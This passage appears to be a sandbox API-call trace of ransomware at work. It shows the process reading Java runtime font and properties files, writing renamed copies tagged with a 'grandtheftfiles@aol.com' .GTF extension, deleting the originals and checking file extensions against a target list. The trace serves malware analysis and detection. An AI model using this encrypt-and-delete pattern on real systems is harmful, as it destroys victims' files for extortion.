	[0158.665] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.665] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.665] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x490
	[0158.666] GetLastError () returned 0x0
	[0158.666] ReadFile (in: hFile=0x4b4, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x13bd8, lpOverlapped=0x0) returned 1
	[0158.670] WriteFile (in: hFile=0x490, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x13be0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x13be0, lpOverlapped=0x0) returned 1
	[0158.672] ReadFile (in: hFile=0x4b4, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0158.672] WriteFile (in: hFile=0x490, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x100, lpOverlapped=0x0) returned 1
	[0158.672] SetEndOfFile (hFile=0x490) returned 1
	[0158.673] CloseHandle (hObject=0x490) returned 1
	[0158.673] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.673] SetEndOfFile (hFile=0x4b4) returned 1
	[0158.677] CloseHandle (hObject=0x4b4) returned 1
	[0158.677] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0158.677] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf")) returned 1
	[0158.678] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67
	[0158.678] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67
	[0158.678] lstrlenW (lpString=".doc") returned 4
	[0158.678] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0158.678] lstrlenW (lpString=".docx") returned 5
	[0158.678] lstrcmpiW (lpString1=".docx", lpString2="c.ttf") returned -1
	[0158.678] lstrlenW (lpString=".pdf") returned 4
	[0158.678] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0158.678] lstrlenW (lpString=".xls") returned 4
	[0158.678] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0158.678] lstrlenW (lpString=".xlsx") returned 5
	[0158.678] lstrcmpiW (lpString1=".xlsx", lpString2="c.ttf") returned -1
	[0158.678] lstrlenW (lpString=".ppt") returned 4
	[0158.678] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0158.678] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67
	[0158.678] lstrlenW (lpString=".zip") returned 4
	[0158.678] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0158.678] lstrlenW (lpString=".rar") returned 4
	[0158.678] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0158.678] lstrlenW (lpString=".bz2") returned 4
	[0158.678] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0158.678] lstrlenW (lpString=".7z") returned 3
	[0158.678] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0158.679] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67
	[0158.679] lstrlenW (lpString=".dbf") returned 4
	[0158.679] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0158.679] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67
	[0158.679] lstrlenW (lpString=".1cd") returned 4
	[0158.679] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0158.679] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67
	[0158.679] lstrlenW (lpString=".jpg") returned 4
	[0158.679] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0158.679] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67
	[0158.679] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67
	[0158.679] lstrlenW (lpString=".doc") returned 4
	[0158.679] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0158.679] lstrlenW (lpString=".docx") returned 5
	[0158.679] lstrcmpiW (lpString1=".docx", lpString2="c.ttf") returned -1
	[0158.679] lstrlenW (lpString=".pdf") returned 4
	[0158.679] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0158.679] lstrlenW (lpString=".xls") returned 4
	[0158.679] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0158.679] lstrlenW (lpString=".xlsx") returned 5
	[0158.679] lstrcmpiW (lpString1=".xlsx", lpString2="c.ttf") returned -1
	[0158.679] lstrlenW (lpString=".ppt") returned 4
	[0158.679] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0158.679] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67
	[0158.679] lstrlenW (lpString=".zip") returned 4
	[0158.679] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0158.679] lstrlenW (lpString=".rar") returned 4
	[0158.679] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0158.679] lstrlenW (lpString=".bz2") returned 4
	[0158.679] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0158.679] lstrlenW (lpString=".7z") returned 3
	[0158.679] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0158.679] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67
	[0158.679] lstrlenW (lpString=".dbf") returned 4
	[0158.679] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0158.679] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67
	[0158.679] lstrlenW (lpString=".1cd") returned 4
	[0158.679] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0158.680] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf") returned 67
	[0158.680] lstrlenW (lpString=".jpg") returned 4
	[0158.680] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0158.680] lstrcmpiW (lpString1=".ttf", lpString2=".GTF") returned 1
	[0158.680] lstrlenW (lpString="LucidaTypewriterBold.ttf") returned 24
	[0158.680] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0158.680] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=234068) returned 1
	[0158.680] CloseHandle (hObject=0x4b4) returned 1
	[0158.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf")) returned 0x20
	[0158.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0158.681] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0158.681] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.681] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.681] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x490
	[0158.681] GetLastError () returned 0x0
	[0158.681] ReadFile (in: hFile=0x4b4, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x39254, lpOverlapped=0x0) returned 1
	[0158.690] WriteFile (in: hFile=0x490, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x39260, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x39260, lpOverlapped=0x0) returned 1
	[0158.694] ReadFile (in: hFile=0x4b4, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0158.695] WriteFile (in: hFile=0x490, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x104, lpOverlapped=0x0) returned 1
	[0158.695] SetEndOfFile (hFile=0x490) returned 1
	[0158.695] CloseHandle (hObject=0x490) returned 1
	[0158.695] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.695] SetEndOfFile (hFile=0x4b4) returned 1
	[0158.963] CloseHandle (hObject=0x4b4) returned 1
	[0158.963] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0158.964] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterbold.ttf")) returned 1
	[0158.965] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69
	[0158.965] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69
	[0158.965] lstrlenW (lpString=".doc") returned 4
	[0158.965] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0158.965] lstrlenW (lpString=".docx") returned 5
	[0158.965] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1
	[0158.965] lstrlenW (lpString=".pdf") returned 4
	[0158.965] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0158.965] lstrlenW (lpString=".xls") returned 4
	[0158.965] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0158.965] lstrlenW (lpString=".xlsx") returned 5
	[0158.965] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1
	[0158.965] lstrlenW (lpString=".ppt") returned 4
	[0158.965] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0158.965] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69
	[0158.965] lstrlenW (lpString=".zip") returned 4
	[0158.965] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0158.965] lstrlenW (lpString=".rar") returned 4
	[0158.965] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0158.965] lstrlenW (lpString=".bz2") returned 4
	[0158.965] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0158.965] lstrlenW (lpString=".7z") returned 3
	[0158.965] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0158.965] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69
	[0158.965] lstrlenW (lpString=".dbf") returned 4
	[0158.965] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0158.965] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69
	[0158.965] lstrlenW (lpString=".1cd") returned 4
	[0158.965] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0158.965] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69
	[0158.965] lstrlenW (lpString=".jpg") returned 4
	[0158.965] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0158.965] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69
	[0158.965] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69
	[0158.965] lstrlenW (lpString=".doc") returned 4
	[0158.965] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0158.966] lstrlenW (lpString=".docx") returned 5
	[0158.966] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1
	[0158.966] lstrlenW (lpString=".pdf") returned 4
	[0158.966] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0158.966] lstrlenW (lpString=".xls") returned 4
	[0158.966] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0158.966] lstrlenW (lpString=".xlsx") returned 5
	[0158.966] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1
	[0158.966] lstrlenW (lpString=".ppt") returned 4
	[0158.966] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0158.966] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69
	[0158.966] lstrlenW (lpString=".zip") returned 4
	[0158.966] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0158.966] lstrlenW (lpString=".rar") returned 4
	[0158.966] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0158.966] lstrlenW (lpString=".bz2") returned 4
	[0158.966] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0158.966] lstrlenW (lpString=".7z") returned 3
	[0158.966] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0158.966] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69
	[0158.966] lstrlenW (lpString=".dbf") returned 4
	[0158.966] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0158.966] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69
	[0158.966] lstrlenW (lpString=".1cd") returned 4
	[0158.966] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0158.966] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterBold.ttf") returned 69
	[0158.966] lstrlenW (lpString=".jpg") returned 4
	[0158.966] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0158.966] lstrcmpiW (lpString1=".properties", lpString2=".GTF") returned 1
	[0158.966] lstrlenW (lpString="hijrah-config-umalqura.properties") returned 33
	[0158.966] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0158.967] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=13962) returned 1
	[0158.967] CloseHandle (hObject=0x4b4) returned 1
	[0158.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties")) returned 0x20
	[0158.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0158.967] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0158.968] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.968] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.968] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0
	[0158.968] GetLastError () returned 0x0
	[0158.968] ReadFile (in: hFile=0x4b4, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x368a, lpOverlapped=0x0) returned 1
	[0158.971] WriteFile (in: hFile=0x4a0, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x3690, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x3690, lpOverlapped=0x0) returned 1
	[0158.972] ReadFile (in: hFile=0x4b4, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0158.972] WriteFile (in: hFile=0x4a0, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x116, lpOverlapped=0x0) returned 1
	[0158.972] SetEndOfFile (hFile=0x4a0) returned 1
	[0158.972] CloseHandle (hObject=0x4a0) returned 1
	[0158.973] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.973] SetEndOfFile (hFile=0x4b4) returned 1
	[0158.975] CloseHandle (hObject=0x4b4) returned 1
	[0158.975] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0158.976] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties")) returned 1
	[0158.976] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72
	[0158.976] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72
	[0158.976] lstrlenW (lpString=".doc") returned 4
	[0158.976] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0158.976] lstrlenW (lpString=".docx") returned 5
	[0158.976] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0158.976] lstrlenW (lpString=".pdf") returned 4
	[0158.977] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0158.977] lstrlenW (lpString=".xls") returned 4
	[0158.977] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0158.977] lstrlenW (lpString=".xlsx") returned 5
	[0158.977] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0158.977] lstrlenW (lpString=".ppt") returned 4
	[0158.977] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0158.977] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72
	[0158.977] lstrlenW (lpString=".zip") returned 4
	[0158.977] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0158.977] lstrlenW (lpString=".rar") returned 4
	[0158.977] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0158.977] lstrlenW (lpString=".bz2") returned 4
	[0158.977] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0158.977] lstrlenW (lpString=".7z") returned 3
	[0158.977] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0158.977] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72
	[0158.977] lstrlenW (lpString=".dbf") returned 4
	[0158.977] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0158.977] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72
	[0158.977] lstrlenW (lpString=".1cd") returned 4
	[0158.977] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0158.977] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72
	[0158.977] lstrlenW (lpString=".jpg") returned 4
	[0158.977] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0158.977] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72
	[0158.977] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72
	[0158.977] lstrlenW (lpString=".doc") returned 4
	[0158.977] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0158.977] lstrlenW (lpString=".docx") returned 5
	[0158.977] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0158.977] lstrlenW (lpString=".pdf") returned 4
	[0158.977] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0158.977] lstrlenW (lpString=".xls") returned 4
	[0158.977] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0158.977] lstrlenW (lpString=".xlsx") returned 5
	[0158.978] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0158.978] lstrlenW (lpString=".ppt") returned 4
	[0158.978] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0158.978] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72
	[0158.978] lstrlenW (lpString=".zip") returned 4
	[0158.978] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0158.978] lstrlenW (lpString=".rar") returned 4
	[0158.978] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0158.978] lstrlenW (lpString=".bz2") returned 4
	[0158.978] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0158.978] lstrlenW (lpString=".7z") returned 3
	[0158.978] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0158.978] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72
	[0158.978] lstrlenW (lpString=".dbf") returned 4
	[0158.978] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0158.978] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72
	[0158.978] lstrlenW (lpString=".1cd") returned 4
	[0158.978] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0158.978] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\hijrah-config-umalqura.properties") returned 72
	[0158.978] lstrlenW (lpString=".jpg") returned 4
	[0158.978] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0158.978] lstrcmpiW (lpString1=".properties", lpString2=".GTF") returned 1
	[0158.978] lstrlenW (lpString="cursors.properties") returned 18
	[0158.978] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0158.981] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=1280) returned 1
	[0158.981] CloseHandle (hObject=0x4b4) returned 1
	[0158.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties")) returned 0x20
	[0158.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\cursors.properties.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
